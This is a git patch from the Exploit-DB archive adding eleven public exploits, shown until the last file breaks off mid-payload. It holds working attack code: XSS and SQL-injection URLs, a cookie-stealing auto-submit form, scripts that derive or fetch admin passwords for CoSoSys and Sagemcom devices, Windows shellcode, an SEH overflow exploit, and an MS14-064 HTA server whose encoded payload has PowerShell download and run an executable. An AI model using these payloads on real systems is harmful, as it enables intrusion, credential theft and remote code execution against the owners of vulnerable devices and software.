From 4377b18056e9c1ea12a0919fb8e89f7bd92918d0 Mon Sep 17 00:00:00 2001
From: Offensive Security <info@exploit-db.com>
Date: Tue, 18 Aug 2015 05:03:02 +0000
Subject: [PATCH] DB: 2015-08-18

11 new exploits
---
 files.csv                           |  13 +-
 platforms/cgi/webapps/37806.txt     |  17 ++
 platforms/hardware/remote/37803.txt |  59 +++++++
 platforms/hardware/webapps/37801.sh |  23 +++
 platforms/jsp/webapps/37802.html    |   7 +
 platforms/php/webapps/37804.txt     |  13 ++
 platforms/php/webapps/37805.txt     |  11 ++
 platforms/php/webapps/37807.txt     |   9 ++
 platforms/win32/shellcode/37758.c   |  59 +++++++
 platforms/windows/dos/37798.py      |  34 ++++
 platforms/windows/local/37799.py    |  57 +++++++
 platforms/windows/remote/37800.php  | 237 ++++++++++++++++++++++++++++
 12 files changed, 538 insertions(+), 1 deletion(-)
 create mode 100755 platforms/cgi/webapps/37806.txt
 create mode 100755 platforms/hardware/remote/37803.txt
 create mode 100755 platforms/hardware/webapps/37801.sh
 create mode 100755 platforms/jsp/webapps/37802.html
 create mode 100755 platforms/php/webapps/37804.txt
 create mode 100755 platforms/php/webapps/37805.txt
 create mode 100755 platforms/php/webapps/37807.txt
 create mode 100755 platforms/win32/shellcode/37758.c
 create mode 100755 platforms/windows/dos/37798.py
 create mode 100755 platforms/windows/local/37799.py
 create mode 100755 platforms/windows/remote/37800.php

diff --git a/files.csv b/files.csv
index 74d072dce..ab028cd14 100755
--- a/files.csv
+++ b/files.csv
@@ -34078,6 +34078,7 @@ id,file,description,date,author,platform,type,port
 37754,platforms/php/webapps/37754.txt,"WordPress Candidate Application Form Plugin 1.0 - Arbitrary File Download",2015-08-10,"Larry W. Cashdollar",php,webapps,80
 37755,platforms/windows/local/37755.c,"Windows 2k3 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)",2015-08-12,"Tomislav Paskalev",windows,local,0
 37757,platforms/multiple/webapps/37757.py,"Geoserver < 2.7.1.1  / < 2.6.4 / < 2.5.5.1 - XXE Exploit",2015-08-12,"David Bloom",multiple,webapps,0
+37758,platforms/win32/shellcode/37758.c,"Windows x86 All Versions - user32!MessageBox _Hello World!_ (199 Bytes Null-Free)",2015-08-12,noviceflux,win32,shellcode,0
 37759,platforms/linux/dos/37759.py,"NeuroServer 0.7.4 - (EEG TCP/IP Transceiver) Remote DoS",2015-08-12,nitr0us,linux,dos,0
 37760,platforms/windows/local/37760.rb,"PDF Shaper 3.5 - Buffer Overflow",2015-08-12,metacom,windows,local,0
 37761,platforms/ios/webapps/37761.txt,"Printer Pro 5.4.3 IOS - Persistent Cross Site Scripting",2015-08-12,"Taurus Omar",ios,webapps,0
@@ -34091,7 +34092,7 @@ id,file,description,date,author,platform,type,port
 37769,platforms/php/webapps/37769.txt,"Gkplugins Picasaweb - Download File",2015-08-15,"TMT zno",php,webapps,0
 37770,platforms/hardware/webapps/37770.txt,"TOTOLINK Routers - Backdoor and RCE Exploit PoC",2015-08-15,MadMouse,hardware,webapps,0
 37771,platforms/windows/local/37771.py,"Microsoft HTML Help Compiler 4.74.8702.0 - SEH Based Overflow",2015-08-15,St0rn,windows,local,0
-37772,platforms/multiple/local/37772.js,"Firefox < 39.03 - pdf.js Same Origin Policy Exploit",2015-08-15,"In Ming Loh",multiple,local,0
+37772,platforms/multiple/local/37772.js,"Firefox < 39.03 - pdf.js Same Origin Policy Exploit",2015-08-15,"Tantaryu MING",multiple,local,0
 37773,platforms/php/webapps/37773.txt,"Joomla com_memorix component - SQL Injection vulnerability",2015-08-15,"BM Cloudx",php,webapps,0
 37774,platforms/php/webapps/37774.txt,"Joomla com_informations component - SQL Injection vulnerability",2015-08-15,"BM Cloudx",php,webapps,0
 37775,platforms/windows/dos/37775.py,"Ability FTP Server 2.1.4 - afsmain.exe USER Command Remote DoS",2015-08-15,St0rn,windows,dos,0
@@ -34115,3 +34116,13 @@ id,file,description,date,author,platform,type,port
 37793,platforms/android/remote/37793.txt,"Google Chrome for Android Multiple file:: URL Handler Local Downloaded Content Disclosure",2012-09-12,"Artem Chaykin",android,remote,0
 37794,platforms/android/remote/37794.txt,"Google Chrome for Android Local Application Handling Cookie Theft Weakness",2012-09-12,"Artem Chaykin",android,remote,0
 37795,platforms/android/remote/37795.txt,"Google Chrome for Android Same-origin Policy Bypass Local Symlink Weakness",2012-09-12,"Artem Chaykin",android,remote,0
+37798,platforms/windows/dos/37798.py,"XMPlay 3.8.1.12 - .pls Local Crash PoC",2015-08-17,St0rn,windows,dos,0
+37799,platforms/windows/local/37799.py,"MASM321 11 Quick Editor (.qeditor) 4.0g- .qse SEH Based Buffer Overflow (ASLR & SAFESEH bypass)",2015-08-17,St0rn,windows,local,0
+37800,platforms/windows/remote/37800.php,"Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064)",2015-08-17,"Mohammad Reza Espargham",windows,remote,0
+37801,platforms/hardware/webapps/37801.sh,"Sagemcom F@ST 3864 V2 - Get Admin Password",2015-08-17,"Cade Bull",hardware,webapps,0
+37802,platforms/jsp/webapps/37802.html,"IFOBS 'regclientprint.jsp' Multiple HTML Injection Vulnerabilities",2012-09-15,MustLive,jsp,webapps,0
+37803,platforms/hardware/remote/37803.txt,"CoSoSys Endpoint Protector Predictable Password Generation Vulnerability",2012-09-17,"Christopher Campbell",hardware,remote,0
+37804,platforms/php/webapps/37804.txt,"minimal Gallery 'index.php' Multiple Cross Site Scripting Vulnerabilities",2012-09-17,ayastar,php,webapps,0
+37805,platforms/php/webapps/37805.txt,"TAGWORX.CMS 'cid' Parameter SQL Injection Vulnerability",2012-09-18,Crim3R,php,webapps,0
+37806,platforms/cgi/webapps/37806.txt,"AxisInternet VoIP Manager Multiple Cross Site Scripting Vulnerabilities",2012-09-18,"Benjamin Kunz Mejri",cgi,webapps,0
+37807,platforms/php/webapps/37807.txt,"VBulletin 4.1.12 'blog_plugin_useradmin.php' SQL Injection Vulnerability",2012-09-18,Am!r,php,webapps,0
diff --git a/platforms/cgi/webapps/37806.txt b/platforms/cgi/webapps/37806.txt
new file mode 100755
index 000000000..9789e7d35
--- /dev/null
+++ b/platforms/cgi/webapps/37806.txt
@@ -0,0 +1,17 @@
+source: http://www.securityfocus.com/bid/55589/info
+
+AxisInternet VoIP Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+
+AxisInternet VoIP Manager 2.1.5.7 is vulnerable; other versions may also be affected. 
+
+https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=%22%3 %3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&department_match=1&action=Select
+
+https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&lastname=&lastname_match=1&firstname=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&firstname_match=1&department=&department_match=1&action=Select
+
+https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector=2&;lastname=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select
+
+https://www.example.com/asterisk/contact_chooser.cgi?contact=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C
+
+https://www.example.com/asterisk/contacts.cgi?type=2&usr=demo-100&managed_usr=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select+ 
\ No newline at end of file
diff --git a/platforms/hardware/remote/37803.txt b/platforms/hardware/remote/37803.txt
new file mode 100755
index 000000000..7c72f0ad5
--- /dev/null
+++ b/platforms/hardware/remote/37803.txt
@@ -0,0 +1,59 @@
+source: http://www.securityfocus.com/bid/55570/info
+
+CoSoSys Endpoint Protector is prone to an insecure password generation vulnerability.
+
+Successfully exploiting this issue may allow an attacker to guess generated passwords and gain access to affected appliances.
+
+CoSoSys Endpoint Protector 4 is vulnerable; other versions may also be affected. 
+
+function Get-EPPPassword {
+<#
+.Synopsis
+
+ Get-EPPPassword calculates the predictable root password for Cososys Endpoint Protector 4 servers.
+ Author: Chris Campbell (@obscuresec)
+ License: BSD 3-Clause
+ 
+.Description
+
+ Get-EPPPassword Timeline: 
+  discovered            3 Mar 2012
+  reported to vendor   12 Jun 2012
+  reported to US-CERT  15 Jul 2012
+  released             17 Sep 2012
+    
+.Example
+
+ Get-EPPPassword -Serial 123456789
+
+.Link
+
+ http://obscuresecurity.blogspot.com/2012/09/cososys-predicable-password-cve-2012.html
+#>
+
+Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Serial)
+
+#function to calculate sums from serial number 
+function GetSerialSum {
+ if ($Serial.Length -ne 9) {
+        Return "EPP Serial Number is 9 digits"
+    } 
+    else {
+ #convert $serial to an array of integers 
+  [int[]] $SerialArray = [char[]]$Serial| ForEach-Object {[int]"$_"}
+   }
+ foreach ($Number in $SerialArray) {
+            $Sum += $Number
+            }
+ Write-Output $Sum
+}
+
+#function to calculate epproot password
+function GetPassword {
+ Write-Output "eroot!00$Sums`RO"
+ }
+$Sums = GetSerialSum
+GetPassword
+}
+
+Get-EPPPassword -Serial 135792468
diff --git a/platforms/hardware/webapps/37801.sh b/platforms/hardware/webapps/37801.sh
new file mode 100755
index 000000000..d3e9976b3
--- /dev/null
+++ b/platforms/hardware/webapps/37801.sh
@@ -0,0 +1,23 @@
+#!/bin/bash
+#########################################
+# Exploit Title: Sagemcom 3864 V2 get admin password
+# Date 2015-08-15
+# Author: Cade Bull
+# Software Link: null
+# Tested on: Sagemcom F@ST 3864 V2
+# Version: 7.253.2_F3864V2_Optus
+#########################################
+
+# The sagemcom modem does not authenticate users when requesting pages, only whilst posting forms
+# the password.html page loads the admin password in clear text and stores it in Javascript, which is viewable without any credentials
+ 
+if [ "$1" != "" ]
+then
+	IP_ADDRESS="$1"
+else
+	echo "Usage : $0 IP_ADDRESS"
+	exit 1
+fi
+ 
+USER_PASSWORD=`wget http://$IP_ADDRESS/password.html -t 1 -q -O -  | grep "pwdAdmin" | tr " = " "\n" | grep "'" | tr -d "';" `
+echo "admin password = $USER_PASSWORD"
diff --git a/platforms/jsp/webapps/37802.html b/platforms/jsp/webapps/37802.html
new file mode 100755
index 000000000..683ee4994
--- /dev/null
+++ b/platforms/jsp/webapps/37802.html
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/55561/info
+
+IFOBS is prone to multiple HTML-injection vulnerabilities.
+
+Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible. 
+
+IFOBS XSS-1.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-2.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-3.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-4.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-5.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> 
\ No newline at end of file
diff --git a/platforms/php/webapps/37804.txt b/platforms/php/webapps/37804.txt
new file mode 100755
index 000000000..30df46a6b
--- /dev/null
+++ b/platforms/php/webapps/37804.txt
@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/55577/info
+
+minimal Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+
+minimal Gallery 0.8.1 is vulnerable; other versions may also be affected. 
+
+htp://www.example.com/index.php?c=[XSS]
+htp://www.example.com/PAth/index.php?s=[XSS]
+htp://www.example.com/PAth/index.php?s=y&id=[XSS]
+htp://www.example.com/PAth/index.php?m=[XSS]
+htp://www.example.com/PAth/index.php?d=[XSS] 
\ No newline at end of file
diff --git a/platforms/php/webapps/37805.txt b/platforms/php/webapps/37805.txt
new file mode 100755
index 000000000..1f559f78f
--- /dev/null
+++ b/platforms/php/webapps/37805.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/55586/info
+
+TAGWORX.CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
+
+http://www.example.com/gallery.php?cid=124'&pid=124
+
+http://www.example.com/gallery.php?cat_id=17&cid='&pid=&img=1
+
+http://www.example.com/gallery.php?cid=124'&pid=124 
\ No newline at end of file
diff --git a/platforms/php/webapps/37807.txt b/platforms/php/webapps/37807.txt
new file mode 100755
index 000000000..dc07dcd9d
--- /dev/null
+++ b/platforms/php/webapps/37807.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/55592/info
+
+VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+VBulletin 4.1.12 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/includes/blog_plugin_useradmin.php?do=usercss&amp;u=[Sql] 
\ No newline at end of file
diff --git a/platforms/win32/shellcode/37758.c b/platforms/win32/shellcode/37758.c
new file mode 100755
index 000000000..e1be57248
--- /dev/null
+++ b/platforms/win32/shellcode/37758.c
@@ -0,0 +1,59 @@
+/*
+ * This file was automatically generated by mkhex.sh,
+ * which, together with the complete
+ * and heavily commented assembly source code
+ * for this shellcode, is available at
+ * https://github.com/NoviceLive/shellcoding.
+ *
+ * For those curious heads
+ * striving to figure out what's under the hood.
+ *
+ */
+
+
+# include <stdlib.h>
+# include <stdio.h>
+# include <string.h>
+
+# include <windows.h>
+
+
+int
+main(void)
+{
+  char *shellcode = "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b"
+    "\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09"
+    "\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d"
+    "\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03"
+    "\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81"
+    "\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04"
+    "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03"
+    "\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3"
+    "\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68"
+    "\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68"
+    "\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9"
+    "\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65"
+    "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01"
+    "\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68"
+    "\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68"
+    "\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68"
+    "\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57"
+    "\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c"
+    "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78"
+    "\x69\x74\x54\x53\xff\xd6\x57\xff\xd0";
+
+  DWORD why_must_this_variable;
+  BOOL ret = VirtualProtect (shellcode, strlen(shellcode),
+    PAGE_EXECUTE_READWRITE, &why_must_this_variable);
+
+  if (!ret) {
+    printf ("VirtualProtect\n");
+    return EXIT_FAILURE;
+  }
+
+  printf("strlen(shellcode)=%d\n", strlen(shellcode));
+
+  ((void (*)(void))shellcode)();
+
+  return EXIT_SUCCESS;
+}
diff --git a/platforms/windows/dos/37798.py b/platforms/windows/dos/37798.py
new file mode 100755
index 000000000..b347fc644
--- /dev/null
+++ b/platforms/windows/dos/37798.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+#
+# Exploit Title: XMPlay .pls Local Crash poc
+# Date: 2015-08-16
+# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
+# Twitter: st0rnpentest
+#
+# Vendor Homepage: http://www.un4seen.com/
+# Software Link:   http://www.un4seen.com/download.php?xmplay38
+# Version: 3.8.1.12
+# Tested on: Windows 7
+#
+
+
+# Stack Overflowing xmplay, but we can't 
+# rewrite any register ou SE Handler
+
+def generateCrash():
+ crash="""[playlist]
+numberofentries=1
+file1="""
+
+ crash+="pwned"*1000000
+ return crash
+
+
+
+try:
+ f=open("xmplay.pls","w")
+ f.write(generateCrash())
+ f.close
+ print "Evil xmplay.pls generated!"
+except:
+ print "I can't create file :/"
\ No newline at end of file
diff --git a/platforms/windows/local/37799.py b/platforms/windows/local/37799.py
new file mode 100755
index 000000000..c38a787e5
--- /dev/null
+++ b/platforms/windows/local/37799.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+#
+# Exploit Title: MASM32 quick editor .QSE SEH Based Buffer Overflow (ASLR & SAFESEH bypass)
+# Date: 2015-08-15
+# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
+# Twitter: st0rnpentest
+#
+# Vendor Homepage: http://www.masm32.com/
+# Software Link:   http://www.masm32.com/masmdl.htm
+# Version: MASM32 11 qeditor 4.0g
+# Tested on: Windows 7
+#
+
+
+from struct import pack
+import sys
+
+# 95 bytes Little Joke shellcode :p (shutdown)
+# The shellcode must be printable
+shellcode=""
+shellcode+="\x89\xE3"
+shellcode+="\xDB\xC2"
+shellcode+="\xD9\x73\xF4"
+shellcode+="\x5E"
+shellcode+="VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF"
+shellcode+="THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D"
+shellcode+="QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1"
+shellcode+="CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI"
+shellcode+="NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA"
+
+
+nop="\x90"*(1140-35)        # Destination of jump: qeditor add 8C opcode (mov in assembly) which crash qeditor
+bypass="\xe2"               # with the nop (8C90 90909090) to bypass this we can use different opcodes.
+endnop="\x90"*34            # The opcode e2 make the instruction 8ce2 (MOV DX,FS) and the execution flow
+nop+=bypass+endnop          # can be continued
+                             
+
+junk="\x90"*(1704-95)       # Junk after shellcode
+padding='\x62'*52           # 52 bytes available after SE Handler
+
+
+jump="\xe9\x14\xf5\xff\xff" # jump to the nop
+nseh="\xeb\xf9\x90\x90"     # jump to previous instruction
+seh=pack("<I",0x00406a25)   # asciiprint: pop edi pop esi ret (C:\masm32\qeditor.exe)
+
+
+payload=nop+shellcode+junk+jump+nseh+seh+padding
+
+try:
+ f=open("evil.qse","w")
+ f.write(payload)
+ f.close()
+ print "Evil QSE script created!\nHack'n'Roll"
+except:
+ print "Can't create Evil QSE script :'("
+ sys.exit(0)
+ 
\ No newline at end of file
diff --git a/platforms/windows/remote/37800.php b/platforms/windows/remote/37800.php
new file mode 100755
index 000000000..24eb2a1aa
--- /dev/null
+++ b/platforms/windows/remote/37800.php
@@ -0,0 +1,237 @@
+#!/usr/bin/php
+<?php
+    # Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution
+    # Tested on Windows 7 / Server 2008
+    #
+    #
+    # Author      :   Mohammad Reza Espargham
+    # Linkedin    :   https://ir.linkedin.com/in/rezasp
+    # E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
+    # Website     :   www.reza.es
+    # Twitter     :   https://twitter.com/rezesp
+    # FaceBook    :   https://www.facebook.com/mohammadreza.espargham
+    #
+    #
+    #  MS14-064
+    #
+    #
+    # 1 . run php code : php hta.php
+    # 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)
+    # 3 . open poc.hta
+    # 4 . Your Link Download/Execute on your target
+    # 5 . Finished ;)
+    #
+    # Demo : http://youtu.be/Vkswz7vt23M
+    #
+    
+    
+    
+    
+    $port=80; # Port Address
+    $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link
+    
+    
+    
+    print "    Mohammad Reza Espargham\n\n\n";
+    
+    $host= gethostname(); #g3th0stn4m3
+    $ip = gethostbyname($host); #g3th0stbyn4m3
+    
+    print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n";
+
+    $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!');
+    socket_bind($reza, 0,$port);
+    socket_listen($reza);
+    
+    $msgd =
+    "\x3c\x68\x74\x6d\x6c\x3e\x0d\x0a\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76".
+    "\x3d\x22\x58\x2d\x55\x41\x2d\x43\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x22\x20\x63\x6f\x6e\x74\x65".
+    "\x6e\x74\x3d\x22\x49\x45\x3d\x45\x6d\x75\x6c\x61\x74\x65\x49\x45\x38\x22\x20\x3e\x0d\x0a\x3c\x68".
+    "\x65\x61\x64\x3e\x0d\x0a\x3c\x2f\x68\x65\x61\x64\x3e\x0d\x0a\x3c\x62\x6f\x64\x79\x3e\x0d\x0a\x20".
+    "\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55\x41\x47\x45\x3d\x22\x56\x42\x53\x63".
+    "\x72\x69\x70\x74\x22\x3e\x0d\x0a\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6e\x6d\x75".
+    "\x6d\x61\x61\x28\x29\x20\x0d\x0a\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20".
+    "\x4e\x65\x78\x74\x0d\x0a\x73\x65\x74\x20\x73\x68\x65\x6c\x6c\x3d\x63\x72\x65\x61\x74\x65\x6f\x62".
+    "\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22".
+    "\x29\x0d\x0a\x63\x6f\x6d\x6d\x61\x6e\x64\x3d\x22\x49\x6e\x76\x6f\x6b\x65\x2d\x45\x78\x70\x72\x65".
+    "\x73\x73\x69\x6f\x6e\x20\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x53\x79\x73\x74\x65".
+    "\x6d\x2e\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61".
+    "\x64\x46\x69\x6c\x65\x28\x27\x46\x49\x4c\x45\x5f\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x27\x2c\x27\x6c".
+    "\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x2d".
+    "\x63\x6f\x6d\x20\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x29\x2e\x53".
+    "\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x27\x6c\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b".
+    "\x22\x0d\x0a\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x20\x22\x70".
+    "\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c\x2e\x65\x78\x65\x22\x2c\x20\x22\x2d\x43\x6f\x6d\x6d\x61\x6e".
+    "\x64\x20\x22\x20\x26\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x2c\x20\x22\x22\x2c\x20\x22\x72\x75\x6e\x61".
+    "\x73\x22\x2c\x20\x30\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x3c\x2f\x73".
+    "\x63\x72\x69\x70\x74\x3e\x0d\x0a\x20\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55".
+    "\x41\x47\x45\x3d\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3e\x0d\x0a\x20\x20\x0d\x0a\x64\x69\x6d".
+    "\x20\x20\x20\x61\x61\x28\x29\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x29\x0d\x0a\x64\x69\x6d".
+    "\x20\x20\x20\x61\x30\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x31\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61".
+    "\x32\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x33\x0d\x0a\x64\x69\x6d\x20\x20\x20\x77\x69\x6e\x39\x78".
+    "\x0d\x0a\x64\x69\x6d\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x0d\x0a\x64\x69\x6d\x20".
+    "\x20\x20\x72\x6e\x64\x61\x0d\x0a\x64\x69\x6d\x20\x20\x20\x66\x75\x6e\x63\x6c\x61\x73\x73\x0d\x0a".
+    "\x64\x69\x6d\x20\x20\x20\x6d\x79\x61\x72\x72\x61\x79\x0d\x0a\x20\x0d\x0a\x42\x65\x67\x69\x6e\x28".
+    "\x29\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x42\x65\x67\x69\x6e\x28\x29\x0d\x0a".
+    "\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a".
+    "\x20\x20\x69\x6e\x66\x6f\x3d\x4e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x55\x73\x65\x72\x41\x67\x65".
+    "\x6e\x74\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
+    "\x57\x69\x6e\x36\x34\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20".
+    "\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69".
+    "\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x20\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
+    "\x4d\x53\x49\x45\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x20\x0d\x0a\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x20\x3d\x20\x43\x49\x6e".
+    "\x74\x28\x4d\x69\x64\x28\x69\x6e\x66\x6f\x2c\x20\x49\x6e\x53\x74\x72\x28\x69\x6e\x66\x6f\x2c\x20".
+    "\x22\x4d\x53\x49\x45\x22\x29\x20\x2b\x20\x35\x2c\x20\x32\x29\x29\x20\x20\x20\x0d\x0a\x20\x20\x65".
+    "\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f".
